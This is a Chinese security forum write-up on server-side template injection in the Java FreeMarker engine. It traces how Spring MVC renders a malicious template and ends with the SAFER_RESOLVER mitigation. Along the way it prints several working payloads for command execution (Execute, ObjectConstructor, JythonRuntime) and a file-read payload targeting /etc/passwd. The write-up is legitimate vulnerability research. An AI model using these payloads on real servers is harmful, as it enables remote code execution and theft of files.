Java FreeMarker模板引擎注入深入分析

杀鸡焉用牛刀  金牌会员 | 2022-11-22 21:04:48 | 显示全部楼层 | 阅读模式
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0x01 前言

最近和 F1or 大师傅一起挖洞的时候发现一处某 CMS SSTI 的 0day，之前自己在复现 jpress 的一些漏洞的时候也发现了 SSTI 这个洞杀伤力之大。今天来好好系统学习一手。
有三个最重要的模板，其实模板引擎本质上的原理差不多，因为在 SpringBoot 初学习的阶段我就已经学习过 Thymeleaf 了，所以大体上老生常谈的东西就不继续讲了。
三个模板的模板注入攻击差距其实还是有点大的，而且 Java 的 SSTI 和 Python Flask 的一些 SSTI 差距有点大。我们今天主要来看看 FreeMarker 的 SSTI
0x02 FreeMarker SSTI

FreeMarker 官网：http://freemarker.foofun.cn/index.html
对应版本是 2.3.23，一会儿我们搭建环境的时候也用这个版本
FreeMarker 基础语法

关于文本与注释，本文不再强调，重点看插值与 FTL 指令。
插值

插值也叫 Interpolation，即 ${..} 或者 #{..} 格式的部分，将使用数据模型中的部分替代输出
比如这一个 .ftl 文件
  1. <!DOCTYPE html>  
  2. <html lang="en">  
  3. <head>  
  4.     <meta charset="UTF-8">  
  5.     <title>Hello ${name}!</title>  
  6.     <link href="/css/main.css" rel="stylesheet">  
  7. </head>  
  8. <body>  
  9.     <h2 class="hello-title">Hello ${name}!</h2>   
  10.       
  11. </body>  
  12. </html>
复制代码
那么 ${name} 的数据就会从传参里面拿，对应的这个是在 addAttribute 中的 name 参数
FTL 指令

FTL 指令以 # 开头，其他语法和 HTML 大致相同。
我这里其实也花了不少时间看了 FreeMarker 的基础语法，但是并非很透彻，就不误人子弟了，有兴趣的师傅可以自己前往 FreeMarker 手册查看。
https://freemarker.apache.org/
FreeMarker SSTI 成因与攻击面

看了一些文章，有些地方有所疏漏，先说 SSTI 的攻击面吧，我们都知道 SSTI 的攻击面其实是模板引擎的渲染，所以我们要让 Web 服务器将 HTML 语句渲染为模板引擎，前提是要先有 HTML 语句。那么 HTML 如何才能被弄上去呢？这就有关乎我们的攻击面了。
将 HTML 语句放到服务器上有两种方法：
1、文件上传 HTML 文件。
2、若某 CMS 自带有模板编辑功能，这种情况非常多。
因为之前有接触过 Thymeleaf 的 SSTI，Thymeleaf 的 SSTI 非常锋利， Thymeleaf SSTI 的攻击往往都是通过传参即可造成 RCE（当然这段话很可能是不严谨的
在刚接触 FreeMarker 的 SSTI 的时候，我误以为它和 Thyemelaf 一样，直接通过传参就可以打，后来发现我的想法是大错特错。
环境搭建

一些开发的基本功，因篇幅限制，我也不喜放这些代码的书写，贴个项目地址吧
https://github.com/Drun1baby/JavaSecurityLearning/tree/main/JavaSecurity/CodeReview
漏洞复现

前文我有提到，FreeMarker 的 SSTI 必须得是获取到 HTML，再把它转换成模板，从而引发漏洞，所以这里要复现，只能把 HTML 语句插入到 .ftl 里面，太生硬了简直。。。。。不过和 F1or 师傅一起挖出来的 0day 则是比较灵活，有兴趣的师傅可以滴一下我
payload：
  1. <#assign value="freemarker.template.utility.Execute"?new()><#assign value="freemarker.template.utility.Execute"?new()>${value("Calc")}
复制代码
[img=720,449.88110964332895]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202211221329448.png[/img]
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构造出这个 PoC 的原因是 freemarker.template.utility.Execute 类里面存在如下图所示的命令执行方法，都写到脸上来了。
[img=720,418.47607796810394]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202211221329450.png[/img]
漏洞复现如图
[img=720,443.3295324971494]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202211221329451.png[/img]
漏洞分析

我们要分析的是，MVC 的思维，以及如何走到这个危险类 ———— freemarker.template.utility.Execute 去的。
下一个断点在 org.springframework.web.servlet.view.UrlBasedViewResolver#createView，开始调试
[img=720,443.3295324971494]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202211221329452.png[/img]
跟进 super.createView()
[img=720,443.3295324971494]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202211221329453.png[/img]
进一步跟进 loadView() 以及 buildView()，这些方法的业务意义都比较好理解，先 create 一个 View 视图，再将其 load 进来，最后再 build。
[img=720,443.3295324971494]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202211221329454.png[/img]
[img=720,443.3295324971494]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202211221329455.png[/img]
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在 buildView() 方法当中，先通过 this.instantiateView() 的方式 new 了一个 FreeMarkerView 类，又进行了一些基础赋值，将我们的 View Build 了出来（也就是 View 变得有模有样了）
继续往下走，回到 loadView() 方法，loadView() 方法调用了 view.checkResource() 方法
[img=720,443.3295324971494]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202211221329457.png[/img]
checkResource() 方法做了两件事，第一件事是判断 Resource 当中的 url 是否为空，也就是判断是否存在 resource，如果 url 都没东西，那么后续的模板引擎加载就更不用说了；第二件事是进行 template 的获取，也可以把这理解为准备开始做模板引擎加载的业务了。
[img=720,443.3295324971494]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202211221329458.png[/img]
跟进 getTemplate() 方法
[img=720,443.3295324971494]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202211221329459.png[/img]
首先做了一些赋值判断，再判断 Template 的存在，我们跟进 this.cache.getTemplate
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这里从 cache 里面取值，而在我们 putTemplate 设置模板的时候，也会将至存储到 cache中。
跟进 getTemplateInternal()
[img=720,443.3295324971494]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202211221329461.png[/img]
先做了一些基本的判断，到 202 行，跟进 lookupTemplate() 方法
[img=720,443.3295324971494]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202211221329462.png[/img]
这里代码很冗杂，最后的结果是跟进 `freemarker.cache.TemplateCache#lookupWithLocalizedThenAcquisitionStrategy
[img=720,443.3295324971494]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202211221329463.png[/img]
代码会先拼接 _zh_CN，再寻找未拼接 _zh_CN 的模板名，调用 this.findTemplateSource(path) 获取模板实例。
[img=720,640.990099009901]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202211221329464.png[/img]
这里就获取到了 handle 执行返回的模板视图实例，这里我 IDEA 没有走过去，就跟着奶思师傅的文章先分析了。
org.springframework.web.servlet.DispatcherServlet#doDispatch 流程
[img=720,640.990099009901]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202211221329465.png[/img]
handle 执行完成后调用 this.processDispatchResult(processedRequest, response, mappedHandler, mv, (Exception)dispatchException); 进行模板解析。
[img=720,640.990099009901]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202211221329466.png[/img]
调用 view.render(mv.getModelInternal(), request, response); 一路跟进至 org.springframework.web.servlet.view.freemarker.FreeMarkerView#doRender
[img=720,640.990099009901]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202211221329467.png[/img]
跟进 this.processTemplate()
[img=720,640.990099009901]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202211221329468.png[/img]
跟进 process()
[img=720,640.990099009901]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202211221329469.png[/img]
process() 方法是做了一个输出（生成） HTML 文件或其他文件的工作，相当于渲染的最后一步了。
在 process() 方法中，会对 ftl 的文件进行遍历，读取一些信息，下面我们先说对于正常语句的处理，再说对于 ftl 表达式的处理。
[img=720,643.1125827814569]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202211221329470.png[/img]
在读取到每一条 freeMarker 表达式语句的时候，会二次调用 visit() 方法，而 visit() 方法又调用了 element.accept()，跟进
[img=720,643.1125827814569]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202211221329471.png[/img]
跟进 calculateInterpolatedStringOrMarkup() 方法
[img=720,643.1125827814569]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202211221329472.png[/img]
calculateInterpolatedStringOrMarkup() 方法做的业务是将模型强制为字符串或标记，跟进 eval() 方法
[img=720,643.1125827814569]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202211221329473.png[/img]
eval() 方法简单判断了 constantValue 是否为 null，这里 constantValue 为 null，跟进 this._eval()，一般的 _eval() 方法只是将 evn 获取一下，但是对于 ftl 语句就不是这样了，一般的 _eval() 方法如下
[img=720,643.1125827814569]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202211221329475.png[/img]
而对于 ftl 表达式来说，accept 方法是这样的
[img=720,643.1125827814569]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202211221329476.png[/img]
跟进一下 accept() 方法
[img=720,643.1125827814569]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202211221329477.png[/img]
做了一系列基础判断，先判断 namespaceExp 是否为 null，接着又判断 this.operatorType 是否等于 65536，到第 105 行，跟进 eval() 方法，再跟进 _eval()
[img=720,643.1125827814569]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202211221329478.png[/img]
[img=720,643.1125827814569]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202211221329479.png[/img]
我们可以看到 targetMethod 目前就是我们在 ftl 语句当中构造的那个能够进行命令执行的类，也就是说这一个语句相当于
  1. Object result = targetMethod.exec(argumentStrings);
  2. ​
  3. // 等价于
  4. ​
  5. Object result = freemarker.template.utility.Execute.exec(argumentStrings);
复制代码
而这一步并非直接进行命令执行，而是先把这个类通过 newInstance() 的方式进行初始化。
命令执行的参数，会被拿出来，在下一次的同样流程中作为命令被执行，如图
[img=720,451.6206482593037]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202211221329480.png[/img]
至此，分析结束，很有意思的一个流程分析。
[img=720,389.59917780061664]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202211221329481.png[/img]
FreeMarker SSTI 的攻防二象性

我们目前的 PoC 是这么打的
  1. <#assign value="freemarker.template.utility.Execute"?new()><#assign value="freemarker.template.utility.Execute"?new()>${value("Calc")}
复制代码
这是因为 FreeMarker 的内置函数 new 导致的，下面我们简单介绍一下 FreeMarker的两个内置函数—— new 和 api
内置函数 new

可创建任意实现了 TemplateModel 接口的 Java 对象，同时还可以触发没有实现 TemplateModel 接口的类的静态初始化块。 以下两种常见的FreeMarker模版注入poc就是利用new函数，创建了继承 TemplateModel 接口的 freemarker.template.utility.JythonRuntime 和freemarker.template.utility.Execute
API

value?api 提供对 value 的 API（通常是 Java API）的访问，例如 value?api.someJavaMethod() 或 value?api.someBeanProperty。可通过 getClassLoader获取类加载器从而加载恶意类，或者也可以通过 getResource来实现任意文件读取。 但是，当api_builtin_enabled为 true 时才可使用 api 函数，而该配置在 2.3.22 版本之后默认为 false。
由此我们可以构造出一系列的 bypass PoC
POC1
  1. <#assign classLoader=object?api.class.protectionDomain.classLoader>
  2. <#assign clazz=classLoader.loadClass("ClassExposingGSON")>
  3. <#assign field=clazz?api.getField("GSON")>
  4. <#assign gson=field?api.get(null)>
  5. <#assign ex=gson?api.fromJson("{}", classLoader.loadClass("freemarker.template.utility.Execute"))>
  6. ${ex("Calc"")}
复制代码
POC2
  1. <#assign value="freemarker.template.utility.ObjectConstructor"?new()>${value("java.lang.ProcessBuilder","Calc").start()}
复制代码
POC3
  1. <#assign value="freemarker.template.utility.JythonRuntime"?new()><@value>import os;os.system("calc")
复制代码
POC4
  1. <#assign ex="freemarker.template.utility.Execute"?new()> ${ ex("Calc") }
复制代码
读取文件
  1. <#assign is=object?api.class.getResourceAsStream("/Test.class")>
  2. FILE:[<#list 0..999999999 as _>
  3.     <#assign byte=is.read()>
  4.     <#if byte == -1>
  5.         <#break>
  6.     </#if>
  7. ${byte}, </#list>]
  8. <#assign uri=object?api.class.getResource("/").toURI()>
  9. <#assign input=uri?api.create("file:///etc/passwd").toURL().openConnection()>
  10. <#assign is=input?api.getInputStream()>
  11. FILE:[<#list 0..999999999 as _>
  12.     <#assign byte=is.read()>
  13.     <#if byte == -1>
  14.         <#break>
  15.     </#if>
  16. ${byte}, </#list>]
复制代码
从 2.3.17版本以后，官方版本提供了三种TemplateClassResolver对类进行解析： 1、UNRESTRICTED_RESOLVER：可以通过 ClassUtil.forName(className) 获取任何类。
2、SAFER_RESOLVER：不能加载 freemarker.template.utility.JythonRuntime、freemarker.template.utility.Execute、freemarker.template.utility.ObjectConstructor这三个类。 3、ALLOWS_NOTHING_RESOLVER：不能解析任何类。 可通过freemarker.core.Configurable#setNewBuiltinClassResolver方法设置TemplateClassResolver，从而限制通过new()函数对freemarker.template.utility.JythonRuntime、freemarker.template.utility.Execute、freemarker.template.utility.ObjectConstructor这三个类的解析。
FreeMarker SSTI 修复

因为 FreeMarker 不能直接传参打，所以此处的代码参考奶思师傅。
  1. package freemarker;
  2. ​
  3. import freemarker.cache.StringTemplateLoader;
  4. import freemarker.core.TemplateClassResolver;
  5. import freemarker.template.Configuration;
  6. import freemarker.template.Template;
  7. ​
  8. import java.io.IOException;
  9. import java.io.OutputStreamWriter;
  10. import java.io.StringWriter;
  11. import java.util.HashMap;
  12. ​
  13. public class freemarker_ssti {
  14.     public static void main(String[] args) throws Exception {
  15. ​
  16.         //设置模板
  17.         HashMap<String, String> map = new HashMap<String, String>();
  18.         String poc ="<#assign aaa="freemarker.template.utility.Execute"?new()> ${ aaa("open -a Calculator.app") }";
  19.         System.out.println(poc);
  20.         StringTemplateLoader stringLoader = new StringTemplateLoader();
  21.         Configuration cfg = new Configuration();
  22.         stringLoader.putTemplate("name",poc);
  23.         cfg.setTemplateLoader(stringLoader);
  24.         //cfg.setNewBuiltinClassResolver(TemplateClassResolver.SAFER_RESOLVER);
  25.         //处理解析模板
  26.         Template Template_name = cfg.getTemplate("name");
  27.         StringWriter stringWriter = new StringWriter();
  28. ​
  29.         Template_name.process(Template_name,stringWriter);
  30. ​
  31. ​
  32.     }
  33. }
复制代码
防御成功
[img=720,350.7692307692308]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202211221329482.png[/img]
0x03 小结

比较其他两个模板引擎来说，FreeMarker 的 SSTI 更为严格一些，它的防护也做的相当有力，这个给自己挖个小坑吧，后续去看一看 FreeMarker 的代码当中是否存在强而有力的 bypass payload。
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